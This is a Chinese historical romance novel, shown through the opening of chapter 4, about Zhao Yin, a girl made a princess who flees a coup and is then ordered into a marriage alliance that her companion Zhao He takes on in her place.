《山之阿》
1. 第一章
红枫叶滴进水缸里,陈雪娘说:“秋天来了。”
晚霞褪去,天际转为蓝色,清清淡淡的蓝,淡得像孟浩然的诗。
陈雪娘坐在庭院中,正在挽线。她挽好线,再将线拆开,动作一遍又一遍重复。
将赵吟封为含章郡主的消息就在此时传来。
“奉天承运,皇帝诏曰:
咨尔赵吟,秉性温良,动合礼经,柔嘉维则,婉而有仪。为充盈宗室,特隆恩宠。封尔为郡主。赐之封号曰‘含章’。
特赐:
郡主金册、金宝各一副。
冠服、车舆、仪仗如制。
……”
尚义隆笑眯眯扶着赵吟起来,说道:“含章郡主,一个月后宗室及笄礼,到时候会有车马接你去塵州。”
几个大箱子放在旁边,车马渐渐远去,赵荷如梦初醒,大声嚷道:“含章郡主!阿吟,你是郡主了!”
柳叶青道:“好啦好啦,整理箱子吧!”
这个秋天,赵吟听完了袁松年最后一堂课,也与近十年同窗分别,她回到了山月亭,学习礼仪,钻研诗书。
曹国有三座名山,分别是一鸣山,二鸣山,三鸣山。
这是太常观的道长认真研究过后取的名,他说,道生一,一生二,二生三,三生万物。
太常观在一鸣山上,求道之人络绎不绝,通往山上的台阶从不长青苔。
二鸣山有一棵千年银杏树,据说还有一位隐居的高人。
三鸣山最美,青绿山水惹人醉,山顶有湖,湖里长着香蒲草,萤火虫来来去去,月与湖与水,相映成趣。
所以它有别名——蒲月山。
蒲月山下满是秀致的住宅,那是达官贵人们的别业。有古人的,亦有今人。就像每一座山都有名,这里的每一个别馆都有名。
山之巅有一轮明月,山之脚有一个山月亭,山月亭里住着赵吟。
露气下来,赵吟举着烛台走去书房。
地图摊开,她轻松地找到“塵州”二字,而从蒲月山到塵州的路线,她已烂熟于心。
塵州,是她熟悉而陌生的故乡,那里有她祖辈生活过的痕迹,有陈雪娘鲜少提及的往事曾经。
当然还有,李韫玉。
推开窗,呼吸到的月光轻而凉,赵吟看向白墙下的小石桌。
五岁的一个夏日傍晚,她在那里背诗。一直不曾有过动静的隔壁突然有了响动,一包饴糖逾墙而来,“咚”一声落在地上。
紧接着,一个小泥人落在桌子上,下面还坠着纸条。
“你在做什么?”
她歪歪扭扭地写:“背诗。”扔回去。
“嘭——”一个小木坠砸在头上,还是一张小纸条。
“背什么?”
这下可难了,她还不会写这么多字,只好捂着头大声回:“鹅鹅鹅,曲项向天歌。”
没有东西扔过来了,一个脑袋瓜从墙头冒出来。
晚霞正好,小公子趴在墙上笑嘻嘻,“出来玩!”
“你是谁?”
“李韫玉。”
第二天,山月亭的隔壁也挂上了牌匾——“水风阁”。
山月不知心底事,水风空落眼前花。*
此后,他们在每个夏天相遇,秋天分别。
回廊的灯笼还未熄,她踏着月光穿过月门,坐在花园里的亭子里。对面墙上有一扇小门,敲三下是“出来玩”,敲五下是“明天早点起床”。
这是她跟李韫玉之间的小秘密。
去年夏天,他们还并排坐在这里,看萤火虫时隐时现。
纺织娘不知道在哪里鸣叫,李韫玉突然道:“手给我。”
他从衣袖里变戏法一样拿出药膏,涂在赵吟手上那些树枝划痕处。
“你怎么知道的?”怕人担心,她可谁都没说。
李韫玉“哼”一声,“你还有什么事能瞒过我?”
赵吟托着腮,侧头看他低垂又柔和的眉眼,她别过头,轻轻说:“还有一个秘密,你不知道。”
今年夏天,她没有见到李韫玉。
在没有见面的日子里,他在塵州做什么呢?他是否会陪别的女孩远行,是否会捧起别人的头发,是否……
赵吟闭上眼睛,微风轻抚脸庞,她好像体会到了一点愁,像院子里的萤火虫,一点一点,忽明忽暗,渐渐飞远。
陈雪娘的房间里突然传来一阵笑声,原来柳叶青和赵荷都在里面。
“你们在做什么呢?”赵吟趴在窗户上问。
柳叶青将烛光挑亮,“我跟小荷在研究服饰妆容,好让你在塵州一鸣惊人!”
“……”
陈雪娘靠在床头,也跟着笑,但是眼睛木讷无神采。
去年,她还在为赵吟缝制腰带,可今年……
不管赵吟承不承认,陈雪娘都在慢慢老去,记忆力变差,行动变缓,高大结实的陈雪娘终究留在了过去的记忆里。
山月亭的一切杂事,落入赵荷手中。
她颇具陈雪娘风范,琐碎杂事在她的安排下井然有条,打扫、收拾、煮饭、腌菜、缝补、浆洗,一切不乱。
在日复一日的期盼中,终于,马车来了。
柳叶青留在家照顾陈雪娘,赵荷与赵吟登上马车。
赵荷靠着车窗,托着腮,煞有介事地说:“含章郡主和伯安府小侯爷,一听就很般配!”
赵吟也学她,双手托腮,笑意盈盈。
她们都没有听到,陈雪娘在马车离去后,一遍遍重复道:“别去,别去塵州。”
马车驶过一重山,两重山,又走过一座桥,两座桥……
蒲月山渐渐远去,熟悉的山景变换成平原,麦浪涌起,她们在路边吃了第一顿饭,藜麦饭入口的瞬间,赵吟明白了游子之思,她想雪娘,还想柳叶青。
马车停在一处行宫,赵吟踏上土地,陌生的风景陌生的市井,但她还是感觉到了一丝故土的熟悉。
这就是塵州吗?
来塵州,比起及笄礼,她更想做的事其实是——去见李韫玉。
跟着女官学习礼仪一整天,根本没有时间出去,赵吟疲乏地躺在床上,看着窗外的月亮出神。
此时距离及笄礼,还有两天。
赵荷不知何时走了进来,她捏着赵吟的胳膊,悄悄道:“趁她们不注意,我下午偷溜出去了!”
赵吟瞌睡醒了大半。
“我找到伯安府了!但没能见到阿韫。”
赵吟道:“没关系,总能找机会见到。”
“回来的路上,我还看到了一个道医,他支了个摊子,也不吆喝,就坐在那儿喝茶,我也没打算跟他说话,但是他叫住了我……”
她停住,有些不好意思说下去。
赵吟坐起来,催促她:“然后呢?他说了什么?”
“他说有法子治好我脸上的胎记,如果信得过,明早拿二十两银子,站在那儿等他。”
赵吟
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瞪圆眼睛,坐得更加端正,她抬手托起赵荷的脸,端详那一块胎记。
很多年以前,有人借此嘲笑赵荷,她将赵荷护在身后,跟那人打了一架。随着年龄增长,不再有人拿此嘲讽,这块胎记也在慢慢淡化,可是谁不爱美呢?或许就是瞅准了这爱美之心,江湖骗子花样层出。
两人都在想,这人也许是个骗子。
可下一秒,赵吟笃定道:“买!”
她翻出钱袋将细碎银两全部倒出,然后泄了气,这远远不够。
赵荷过意不去,笑着道:“阿吟,这么多年我都过得很好,除了儿时那一次,再没有受过嘲笑,今日上街,大家根本不以为奇。”
可赵吟不愿放弃,她相信机缘只在一念之间。骗子就算了,可万一呢?
她说:“明天再想办法。”
赵吟来到了当铺,这是她想到最合适的办法,只不过握着手里这对珠钗,她还是生出一些不舍。
踟蹰间,有位衣着明丽的妇人站在她面前,试探着问:“娮娮?”
看见赵吟迷茫的神情,她笑着道:“认错人了……”可就在转身之后,她忽然又折返到赵吟面前,欣喜道:“是阿吟吗?”
赵吟点头,还是一脸疑惑地望着她。
她双眼雾蒙蒙,抚摸着赵吟的脸颊道:“我和你母亲陈延芝从小一起长大,我叫孟如皎。”
她捏着赵吟的手,自言自语道:“真像啊……都长这么大了。”
赵吟十五岁了,似故人,不是故人。
她的母亲陈延芝,也该十五岁了。
身边有人催促,孟如皎匆匆摘下自己的金镯子塞到赵吟手中,又拿出一袋银子,临去时,她又掀开车帘问道:“阿吟,你住在哪里?”
赵吟追上前几步,回答道:“行宫。”
有了孟如皎赠送的银两,她们马不停蹄去寻道医,可道医不在原地。
等了好一会儿还不见有人来,两人心想:果然是个骗子。
正欲离开,赵荷突然转身,急急朝一个方向追去,抽空扭头对赵吟说:“我好像看到阿韫了!”
赵吟“诶诶”几声,已经看不见赵荷的身影,同时,一郎中打扮的男子往此而来,一派潇洒。
“小姑娘,久等了吧。”
赵吟颔首,又有些疑问:“您知道我?”
“我不知道你,但我知道你为何而来。”
赵吟正欲掏钱,男子止住她,将一包药递到她手上,叮嘱道:“茅草根烧成灰搀其中,埋于地中一日,以蜂蜜敷于脸上,一刻后洗去。”
赵吟牢记,又欲掏钱,男子却打断她:“姑娘诚心求药方,又在此等候良久,可谓有缘,黄白之物就免了吧。”
赵吟愣住。
“老朽虽以医药为生,但却精通易卦,姑娘可愿让老朽一窥天机?”
算命?
赵吟有些忐忑,但却隐约好奇。
她伸出手。
男子一笑,将她的手推回,拿出个八卦镜,又掏出一把草根。他席地而坐,用草根在地上摆出各种形状,随后闭上眼睛,带着洞悉一切的笃定与从容。可片刻后,他的嘴唇抿成一条直线,眉毛也随之蹙起,秋天的风微微有些凉意,他的额头却渗出汗水。
然后,他睁开眼,愣愣地坐在原地,并没有看向赵吟。仿佛是经历了一场惊涛骇浪,此刻才幡然回神。
赵吟捏紧衣袖,“道长,您看到了什么?”
男人终于看向她。
2. 第二章
他满眼悲悯,眼神却又转瞬变得清亮,隐含着某种赞许,也带着一种笃定,他微微一笑:“壮阔。”
不待赵吟反应,他起身迅速离去,很快隐入人潮。
赵吟不知所以,重复道:“壮阔……”
她还不知壮阔是什么意思,正如她不知今后的命运。
命运,有时候,命运是一出欲扬先抑。
离及笄礼还有一日。
药已敷在赵荷脸上,清凉的舒适过后是灼烧般的痛楚,疼痛减轻过后又如蚂蚁在爬,然后是剧烈的痒。
一刻钟后,赵荷脱力地躺在床上,被赵吟搀扶至脸盆前。
一捧捧水泼起,赵吟盯着溅起的水花,不自觉屏住呼吸。
盆里的水逐渐浑浊,她的脸上渐渐出现笑意。
“小荷,真的没有了!”
赵荷捂住脸庞,奔向铜镜。
里面出现一张干净的脸庞,不算惊艳,但温和而舒服,带着浅浅的笑意。
她第一次在铜镜里如此认真地端详自己,也如此认真地端详赵吟。
阿吟有一张饱满的鹅蛋脸,轮廓分明。女孩子都时兴柳叶眉,弯月眉,细细长长,温和婉约。可是阿吟的眉毛根根分明,如浓墨山峰,不温和,也不婉约。她的眼睛会说话,笑起来水光潋滟。
敲门声惊动了她们。
“郡主,门外有一人找你。”
赵荷惊喜道:“是阿韫吧?昨天我告诉他我们住在这里!可不知为什么,昨天的他看起来忧心忡忡……”
赵吟“哗啦”一声站起,几乎是小跑着出去。
但没过多久,她又重新回到了屋内。
“怎么这么快就回来了?”
赵吟道:“阿韫没来,门外是他的侍卫,说有什么话可以让他传达。”
她扬扬手里的锦盒:“还送了我及笄礼。”
有什么话语可以传达呢?
是有很多话,可是她想要当面诉说。
她走到桌边,随手拿出信笺写下几个字,赵荷凑过去看——
明日黄昏,望月河边。
她郑重地将信笺卷好,交到侍卫手中,叮嘱道:“一定要送到啊——”
“好嘞!”
第二日,及笄礼。
天未亮,接她们的马车就已经等在行宫外。
马车夫百无聊赖,哈欠连天,不知过了多久,他听见“吱呀”一声,漫不经心回头,手里的马鞭径直掉落,刚打完哈欠的嘴都没有闭上。
赵吟慢慢走来,替他捡起掉落的马鞭,随后登上马车。
宗室及笄礼设在宫内琼林苑,三十六位宗室之女齐聚,六尚女官穿梭如织,红色石榴累累于枝头,金黄的银杏铺就一条天然地毯,红枫叶点缀其中,碗大的陶菊大片大片开在花圃中,红色耀眼,紫色雍容,白色婉约。
刚一出现,赵吟就收到了许多目光,或是惊艳,或是欣赏,或是审视……可同时,她亦感受到了一股令她微微不适的打量。
她开始环顾四周,想要找出这道目光。
果不其然,她与一位夫人的视线相撞,夫人微微含笑,唇笑嘴笑,但是眼神一派平静。
赵吟不着痕迹移开视线。
筵席散去,走出宫门的那一刻,她闭上眼,深深呼吸。
很多年前,她与赵荷,还有同窗好友陈青姝坐在黄昏里谈天说地。
那时候她骄傲地说:“以后我要当一个徐霞客!”
陈青姝连连点头:“好啊,到时候叫上我!”
赵荷微笑着:“阿吟在哪里,我就在哪里。”
可是及笄礼中,一名夫人说道:“女子出嫁前,父是天。出嫁后,夫是天,子是地,再怎么走,也走不出天地。”
天与地,就这么狭窄吗?
这个时候,她无比想念蒲月山下,山月之亭。
行宫门口,一名女子频繁往远处张望,见赵吟和赵荷归来,她试探着问:“是阿吟姑娘吗?”
“是。”
她松了一口气:“我家主母让我把这个交给你。”
赵荷惊喜道:“是孟夫人!”
这是一个木盒,通身雕刻着树枝花纹,沉甸甸且带着木质清香。
回到房间,赵吟才小心翼翼打开它。
深蓝的小册子映入眼帘,翻开第一页,“陈延芝”三个字出其不意,而又如此真实地出现。
赵吟拿在手中一页页翻过,然后忽然停住,视线紧紧粘在三个字上——赵宣棠。
第一次,她正面接触到与父母有关的东西,他们写的字,他们写的诗。
木盒里还有东西,又是一袋沉甸甸的银子。
赵吟失笑出声,将诗集紧紧贴在脸上,可又担心脸上的胭脂弄花了封面。
她坐在铜镜前,想要摘下华冠,卸去胭脂。赵荷却道:“这么美的模样,应该要阿韫也看看!”
赵吟看向铜镜中的自己,头发全部绾起,层层叠叠的发髻中点缀着珍珠,发冠上的金色蝴蝶微微摇晃,额间是绿松石与贝壳做成的花钿。
有些可惜,陈雪娘没有见到。
日坠,人约黄昏后,该出发了。
这身装扮惹得路人频频回首,赵吟笑盈盈地回望。
望月河就在前方不远,她提着裙摆,轻快地跑过去,坐在湖边。
附近酒楼里灯火通明,传出轻柔的吟唱和悠扬的丝竹声,湖面上映着人影灯影,还有弯弯一轮月影。
偶尔风吹动柳枝,她转头望,有时听见细微的脚步声,她也期待地转回头……后来索性背对着人群,面对着湖水,她的影子映在水中,寂寞又窈窕。
酒楼的歌声一阵又一阵,琵琶语,琴声,箫声……
赵荷躲在酒楼旁,担忧地望向那一边。
月亮越来越高,又越来越淡,偶尔有行人路过河边,好奇问道:“小姑娘,等人啊?”
赵吟没有回答。
丝竹声彻底沉寂下去,赵荷的心也彻底沉寂下去,急促的马蹄忽然响起,回头看,一队军马疾驰而来。她心怦怦跳,果断跑向湖边。
这样近的脚步声也没能使赵吟抬头,她埋在自己的臂弯里,无声无息。
赵荷小心蹲下,眼中流露出哀戚,她轻声喊:“阿吟。”
赵吟动了动,慢慢抬起头,层层叠叠的发髻已经散落,垂在她耳边,腮边。赵荷将她的头发别到耳后,可是风一吹,又乱了。
赵吟终于开口道:“小荷,天亮了。”
青草孱弱地躺在她脚下,摇摇晃晃挑着水珠,分不清是泪水,还是露水。
宁静的清晨很快被号角声打破,伴随着惊慌的喊叫:“快出城——兵变了——”
赵荷搀扶起赵吟,急忙跑向行宫。
女官侯在门口,看见她们回来后松了一口气,连忙关上门,叮嘱她们快收拾东西,速出城门。
上一刻还是歌舞升平,此时已经兵荒马乱。行人神色仓皇,赵吟紧紧拉着赵荷,穿梭在横冲直撞的人群中,一边寻找马匹车辆。
茶棚旁有一辆马车,车夫懒散地靠在一边,头也不抬。
“二十两,出城。”
赵吟犹豫,旁边却有人大声道:“二十两我出!这边这边!”
马夫擦了擦手,立刻牵着马走向他。
赵吟捏着手心,急匆匆看向别处。
两匹马拉着一辆马车从身边缓缓经过,赵吟奔过去,问道:“能不能搭我们一程?”
车帘拉开,黑压压都是人,赵吟抿了抿唇,又问:“能否卖我们
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一匹马?”
有人答:“你出多少钱?”
“十两够不够?”
窃窃私语声。
有一妇人答:“不够不够,刚才那人问你要价二十两!”
“二十两!”
赵吟果断掏出荷包,掂量出来二十两,忽然想到,这包银两,还是孟如皎给的。
妇人一见这荷包,直接变了主意:“要我说,如今一马难求,二十两还不够……”
不等她说完,赵吟直接把银两抛向车内,扫视周围,捡起一长矛。妇人吓得后退,连声喊娘。赵吟不语,拉起套住马车的绳索,用力切割。
长矛落地,一旁的赵荷迅速拉过缰绳。
“阿吟,你会骑马吗?”
“不会。”
不会怎么办?试试呗。
包裹都抱在赵荷手里,赵吟拉着缰绳,稳住呼吸。
硝烟弥漫,兵戈交接声越来越近。
她踩上马镫,飞身上马,又迅速拉起赵荷。很奇怪,她并没有骑过马,但是踩上马镫的一瞬间,她好像无师自通。
腰被赵荷紧紧搂住,她拽住缰绳,抬手拍向马背。
马蹄高高扬起,发出一声嘶鸣,带着她们直奔前方,犹如离弦之箭。
赵荷在风的呼啸中慢慢睁开眼,城门已近在咫尺,似乎只是一眨眼——
出城了。
喧嚣和嘈杂声渐渐远去,马儿如有所觉,也放慢了步伐。
淙淙的流水声抚平她们的紧张,清泉从石壁里渗出,汇集进下方的小水潭中,清凉而甘甜。赵吟停下马,在这里洗去脸上的脂粉,又从怀里拿出一包已看不出形状的糕点。
这原是她带给李韫玉的。
她想坐在湖边听听他的忧愁,也想告诉他那个秘密。
破碎的糕点就像破碎的心,赵吟闭上眼睛,靠在背后的石壁上,冰凉的石壁逐渐让她冷静。
山路曲折,前方刚好有山岩凸出,挡住了视线,马蹄声和吵吵嚷嚷的声音突兀地出现在前方,石壁上也传来轻微的震动。
这个时候,大部分都是出城而逃,怎么还会有人进城?
她走向凸岩,略微探出头,还未完全看清时,一匹马从她身侧飞奔而过,吹乱她脸颊旁的碎发,消失在前方。
而惊呼声与淡淡的血腥气息近乎同时而来。
劫路?
赵荷也走过来,两人同时探头往那边看去。
是劫路。
赵荷不可置信地捂住嘴巴,竭力平稳自己的呼吸,生怕发出一丁点动静。
赵吟呼出一口浊气,拉着马往山壁边走了走,又将赵荷拉过来紧贴山壁。
这样更隐蔽,可同样也看不到情况,不知劫匪是否会绕过凸岩朝这边来。
谈话声,脚步声好像更近了,赵吟来不及多想,立刻踩上马镫,又将赵荷拉上马背。
马儿温顺地立着,咀嚼山坡上的青草,背后的尾巴一下又一下轻摇,对空气里的紧张与肃杀之气一无所觉。
赵吟一手紧攥缰绳,一手护住赵荷后背。
又近了,她屏住呼吸朝后看去,后面同样是凸岩,只要后退必须绕过它,这样定会暴露在他们的视线。
真正的进退维谷。
赵吟僵在原地。
她听着自己的心跳,思考该怎么办。突然之间,那些声音没有了,都走了吗?
赵吟小心探出头,见一匹马倒在路边,嘴里“嗬嗬”喘着气,四条腿尤在挣扎,旁边躺着刚刚的路人,无声无息。他们身下的土壤被染成深色,分不清是人的血,还是马的血。
其他人呢?赵吟惊疑。
碎石从头顶上滚落,悉悉簌簌犹如落雨,鸡皮疙瘩瞬间爬满全身。
山坡上有人。
3. 第三章
“哈哈,我就说这儿有人!”
尘土飞扬,碎石乱滚,几个人从山坡上滑下来,带下来的尘土迷了赵吟和赵荷的眼。
马蹄慌乱地敲击地面,马背上的两人也险先被甩落。
这番狼狈的模样落入那几人眼中,激起一阵张狂的大笑,他们手一拽,几根从山下垂落的绳索绷成直线,拦住她们的去路。
“看你们还怎么过!”
赵吟无视他们的调侃与污言秽语,将怀里吃剩的糕点塞给赵荷,拉住她另一只手放到缰绳上。
赵荷颤抖着将手里的糕点碾碎,另一只手握紧缰绳,听赵吟倒数:“三——”
“来啊,过啊,小娘儿们还挺倔!”
“二——”
“陪我们睡一觉,就让你们过!”
“一!”
话音刚落,赵荷立刻挥手,糕点屑洋洋洒洒朝对面飞去,像一场夏日冰雹,骂爹骂娘的声音此起彼伏,就在他们低头揉眼的时候,绳索低了。
赵吟觑准时机,抬手拔簪,马儿吃痛,激烈嘶鸣,随后一飞而起,越过障碍。
粗鄙的言语被甩在身后,赵荷从怀里摸索出茉莉香粉,捏碎后趁着风往后一抛,血腥气逐渐被脂粉气掩盖,她终于畅快呼吸了一口空气,趴伏在赵吟背上。
放松下来,她想起很多事,她替赵吟想起很多事。
温厚的孟如皎,让她们赶紧出逃的女官,神龙不见尾的道医,皇宫内的尚义隆,城内一片混乱,他们是否安好?
当然还有——李韫玉。
接下来的几天,赵吟只有三件事:吃饭,睡觉,赶路。
睡觉也不敢睡得太死,稍有风吹草动她们就会惊醒。吃饭,一个带着麸皮的馒头,一碗数得清米粒的粥就能解决。
双手磨出了血泡和茧,衣裳下摆勾出了流苏,两人换上粗布麻衣,懒得再看铜镜一眼。连日的紧张也使她们双眼布满血丝,视物模糊,无瑕欣赏周围斑斓的秋景。
着华丽衣冠惊艳众人的场景就在几天以前,但总感觉恍若隔世。赶路稀释了赵吟的悲伤,使她变得沉默。
十多天的路程被她缩减到一半,蒲月山到了,马儿的速度也慢下来,黄四娘家的炊烟清晰可见,红艳艳的柿子挂在枝头,独属于蒲月山的空气清凉入肺。
路边有个人影在等待。
赵吟的眼中忽然有了神采,以往哪怕只是去附近街上赶集,陈雪娘也一定会在黄四娘家旁等她,然后笑着说:“阿吟回来啦!”
如果她看到自己骑马归来,一定会吓一跳。
赵吟脸上浮现出笑意,心也安静下来,她勒住缰绳,定睛一看。
柳叶青一脸焦急:“你们总算回来了,怎么是骑马回来的?”
赵吟听见她的声音,几乎是从马上滑落。
赶路的这些天,她见赵荷哭过,或是背着她抹眼泪,或是在夜晚小声抽噎。但她一次也没哭。
可现在,眼泪如断了线的珠子,砸在她手背上,温暖、湿润,然后冰凉。
——她怎么忘记了,雪娘已经不记得她了。
陈雪娘不再挽线,她整日在庭院中走动,缓慢,自言自语。每到傍晚会走去官道旁的黄四娘家,执着地望着远方。
“你在等谁?”
任凭谁问,她都不言不语。
终于有一天,她回答道:“我在等娮娮。”
她忘记了山月亭,忘记了赵吟,也忘记了她自己。
在她的记忆里,只剩下陈延芝。
一群大雁排着队从澄澈明净的天空飞过,赵吟立在红彤彤的枫叶树下,心想,它们会是从塵州来的吗?
塵州。
硝烟味弥漫了很多天,乌鸦日夜在郊外徘徊,半夜经常有野狗狂吠,张二嫂一家总是听到似有若无的歌声,并且是在半夜。
他们实在受不了,选定好一个日子将家什都变卖,带了米粮合家投奔城内的张大。
张大是军营的伙夫,前段时间几乎是从死人堆里爬出,回到家后高烧不退。
张大嫂原本也想拖家带口出逃,可张大这个情形让她走不了,索性赖在城中,过一日是一日。
快断炊时,炮火终于停了。傍晚时分,有人敲了门。
“谁呀?”
“大嫂,是我,张二。”
昏黄的烛灯下,白米粥热气袅袅,腊肉晶莹剔透,绿莹莹的小根蒜配着金黄的鸡蛋,两家人大快朵颐。
张二担惊受怕许久,还不知兵变缘由,便询问张大。
军营消息广,张大已经了解了七七八八,他扒拉两口菜咽下去,侃侃而谈:“皇上李沅病重,董太后夺权……”
众人又惊又怒:“董太后夺权干嘛?!”
“这你就不知道了吧,董太后虽抚养李沅长大,却不是他的生母,他们早已面和心不和!”
“那宫外这些兵是什么?”
“董太后勾结了周檁,一个宫内,一个宫外,两人一唱一和,不然你以为,凭她一个人能颠覆朝堂?”
“现在呢?”
“李沅命不久矣,大部分官员都归顺,除了伯安侯李梁仪和一些偏远将领。”
“伯安侯?那个美髯公?”
“是呀,伯安侯世辈忠良,不肯归顺,兵变前一天,周檁就派人围困了伯安府,现在已有半个月。”
“哎呀……半个月,没米没粮了怎么办呐!”
张大继续说:“放心,伯安侯名声在外,周檁不敢杀。”
他又唏嘘:“什么时候乱不行,非得这个时候乱!”
“此话怎讲?”
“北方西戎进犯,这一乱,北边要打败仗了!”
……
塵州的消息还未传到蒲月山,这里像一片世外桃源。
蒲月山的秋从不叫人失望。山色斑斓,天空如水晶。长腿水鸟一跃而起,搅乱一池秋水,岸边芦苇左摇右晃,絮子满天飞。
山月亭一切如常,赵吟多了很多发呆的时间,她常常想起与李韫玉的第一次分别。
是在五岁那年的夏天要结束的时候,李夫人带着他前来告别。
“回去以后,你还会不会记得我?”
她想问他,可最终也没有问出口。
他们走出去很远了,李韫玉却忽然转身,笑嘻嘻挥手道:“阿吟,明年夏天再见!”
李夫人也跟着笑:“明年夏天再见!”
庭院里静止不动的风好像忽然有了生命,她也跟着挥手,绿色衣袖在风中摇曳,好像要飘过去。
明年有夏天,后年也有夏天……
永远,永远。
现在她知道,根本就没有永远。
清晨,赵荷推开大门,与清新空气一同到来的是“轧轧”的车轮声。她丢掉扫帚倚门看去,宫廷打扮的人坐在马背上。她仔细看了又看,确定这些人之中没有尚义隆。
场景重现,她们四人匍匐跪地。
“奉天承运太后制曰:
近因西戎来犯,屡侵边陲,以致干戈扰民,百姓罹难,今特遣使修好,愿结姻亲,永息兵争。兹以含章郡主,柔嘉婉仪,清丽无双,宜承恩命,出降呼延单于,以成秦晋之谊。
……
布告中外,咸使闻之。”
为首的内侍道:“北方打了败仗,就该送人去和亲,含章郡主,接旨吧!”
赵吟不可置信地抬起脸,一个字也说不出口。当初的含章郡主,只是为了今日的铺垫?
这番举动这被眼前人解读成轻慢,他将圣旨合起来,皮笑肉不笑道:“本来
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么,也不该含章郡主去和亲……”
他故意停在这儿,看底下众人的反应,果不其然都抬起了头。
“本来该去的人是月一郡主,可那是太后的亲外孙女儿,她老人家哪舍得,正好她曾低调地去过及笄礼……”
赵吟想起那名唇笑眼不笑的妇人。
“含章郡主柔嘉婉仪,清丽无双,远嫁西戎,定不失我汉人风度!”
圣旨落在脚边,车马扬长而去,柳叶青和赵荷佝偻着腰,都从对方的眼睛里看出了悔恨。
原来她们精心准备了这么久的及笄礼,是赵吟命运的刽子手。
她们都看向陈雪娘,下意识想问问她该怎么办,毕竟雪娘永远有办法。可是陈雪娘目光呆滞,不着一词,对一切都无动于衷。
赵吟浑浑噩噩地站起来,耳边都是最后那句话:“含章郡主快些准备吧,五日后马车就来了。”
这一晚的山月亭是寂静的,月亮很高了,柳叶青才点燃回廊上的灯笼。
赵吟坐在台阶上,听着厨房里柴火燃烧的“噼啪”声和回廊上细细碎碎的脚步声,奇迹般地平静下来。
几个大箱子堆在院子角落,谁都没有打开看,赵吟知道,那是婚服,远去西戎的婚服。
眼睛变得酸涩,她忽然冲出去,跑到水风阁门前,叩响门上的铜环,但却无人来应。
出发的日子越来越近,赵吟开始说服自己去西戎也不错,甚至打开箱子去试婚服。
此去一别,终生也无法再见。
她舍不得陈雪娘,舍不得柳叶青,舍不得赵荷,舍不得……
痛楚一丝一缕蔓延,每到夜晚结成网,使她喘息、压抑、默默哭泣。
临行前夕。
婚服首饰摆了一床,屋角有几个大箱子,里面装满了丝绸、布帛、书籍、药品、胭脂水粉,甚至还有菜种花种和手写的食谱。
月光从格子窗透进来,均匀地撒在桌上,赵吟坐在桌边,小心翼翼打开一方锦盒。
李韫玉送的及笄礼,她现在才有勇气打开。
一根镶嵌着蓝绿宝石的发簪映入眼帘,发簪是云鹤形状,振翅欲飞。是的,赵吟喜欢明亮的颜色,向往鹤的自由,李韫玉都知道。
门响了,赵荷轻柔的声音隔着门传来。
“阿吟,睡了吗?”
“还没。”
一碗乳白的鱼汤端放在桌子上,鼻息间满是香甜的气息。赵荷坐在她对面,皱起眉头道:“阿吟,你瘦了。”
赵吟握住她的手掌,认真道:“小荷,橱柜第三格有银票和金条,等我走后,你和阿青姐姐可以动用这些,最好是买几亩田,若是不愿住在这里,也可以去街上置办店铺。库房里还有这些年积攒下来的器皿用具,你们可以自行处置……”
赵荷打断她:“好啦,我都知道,你好好睡觉,睡一觉,一切都会好起来!”
赵吟留恋地看着她,微笑道:“替我照顾好雪娘。”
赵荷没有回答这个问题,她转身收拾起窗边的小榻,十年前被赵吟捡回来的第一晚,她就睡在这里。她还记得赵吟手掌的温度,还有陈雪娘答应留下自己时她蹦蹦跳跳的身影。
“雪娘,我们给她取个名字吧!”
“取什么样的名字?”
“赵荷,夫子说,荷花出淤泥而不染。”
灯烛吹熄,满室都是月光,她凝视着熟睡的赵吟很久很久,久到月光不再。
阳光晃进室内,赵吟猛然惊醒。
掀开被子,下地穿鞋,好几次都没能成功伸进鞋子,她心中烦闷,索性将鞋子踢开。
打开门,她伸手挡了下光。视线上移,太阳在西边,而非东边。
这是黄昏,不是清晨。
慌乱地转身,床上的婚服不见了。
4. 第四章
“阿青姐姐,小荷!”
庭院之内空空荡荡,没有回音。
她推开大门,门外什么都没有,只余地上深深的车辙印。
秋风带来一丝凉意,她抱紧胳膊,想起昨晚那碗鱼汤。
乳白的鱼汤在瓦罐里“咕噜噜”沸腾,柳叶青小心扇动蒲扇,红红的炉火映出她眼底的水光。
门开了,赵荷带着一身冷意进来,她蹲坐在炉火旁,将手里的药包拆开倒进汤内。
柳叶青忍住眼泪,她说:“小荷,明天阿吟醒来看不见你,会很难过的。”
赵荷眼神黯淡,搅动鱼汤的动作并不停顿:“阿吟的结局不应该是这样。”
柳叶青哭了:“那你的结局呢?”
赵荷擦去她的眼泪:“我只希望阿吟幸福快乐。”
天色渐黑,官道上无人无马,杜鹃在密林深处哭啼,“不如归去”,“不如归去”。
赵吟只身走在路边,身上衣正单,裙角和鞋子满是尘土。
“轧轧”车轮声由远而近,马车在柿子树下停住,柳叶青从车上跳下来,着急地喊:“阿吟!”
赵吟牢牢抓着她的手腕,问道:“阿青姐姐,你是不是知道?你是不是去送小荷了?”
柳叶青别开头,将她扶到车上。
山月亭并非是漆黑一片,回廊泻下暖光,红枫树的影子画在白色墙壁上,如过去的无数个傍晚一样。
陈雪娘房门半掩,屋外有半扇烛光,屋内有半扇月光。她坐在床边,手里拿着几块灰布,叠了又散开,散开再叠起。
赵吟扑过去,像小时候一样伏在她膝盖上,轻轻说:“雪娘,小荷走了。”
陈雪娘动作停住,她慢慢将灰布丢开,抚摸她的头发,轻拍她。
赵吟闭上眼睛,发现自己竟然没有了眼泪。
良久,陈雪娘轻叹一声:“我知道……”
赵吟抬起头,她疑心自己听错了,可是刚刚那一声叹息如此真实。
她说,她知道。
圣旨到来的那天夜里,赵荷很晚才走进厨房,“笃笃”的切菜声让她心烦意乱,她突然将菜刀丢开,盯着砧板上雪白的莲藕自言自语道:“该怎么办呢?”
厨房一时安静,过了很久,久到灶火要灭了,陈雪娘推开门,慢慢走到灶膛边。火光将她脸上的皱纹和花白的头发映照得尤为清晰。
赵荷重新将火捅燃,捂住她冰凉的手,问道:“雪娘,你有办法吗?”
陈雪娘没有看她,只是盯着灶火道:“换个人呐。”
……
墙壁上的影子依偎在一起,赵吟呢喃道:“我们见不到小荷了。”
陈雪娘费劲地想了半天,回答她:“小荷是谁呀?”
半个月后,陈雪娘与世长辞。
赵吟不敢相信这一事实,总觉得像一场荒谬的梦,如同听闻曾经有鱼溺水死去。
桌上还有未喝完的半杯茶,操劳一生的陈雪娘安静地沉睡。
赵吟印象最深刻的是她忙碌的身影,沉默而稳健。这还是第一次,她看见她睡着的样子,放松,平静,只是不再醒来。
赵吟跪在床边,唱起她教过的童谣。
“一颗星,两颗星,
三颗四颗眨眼睛。
五颗六颗七八颗,
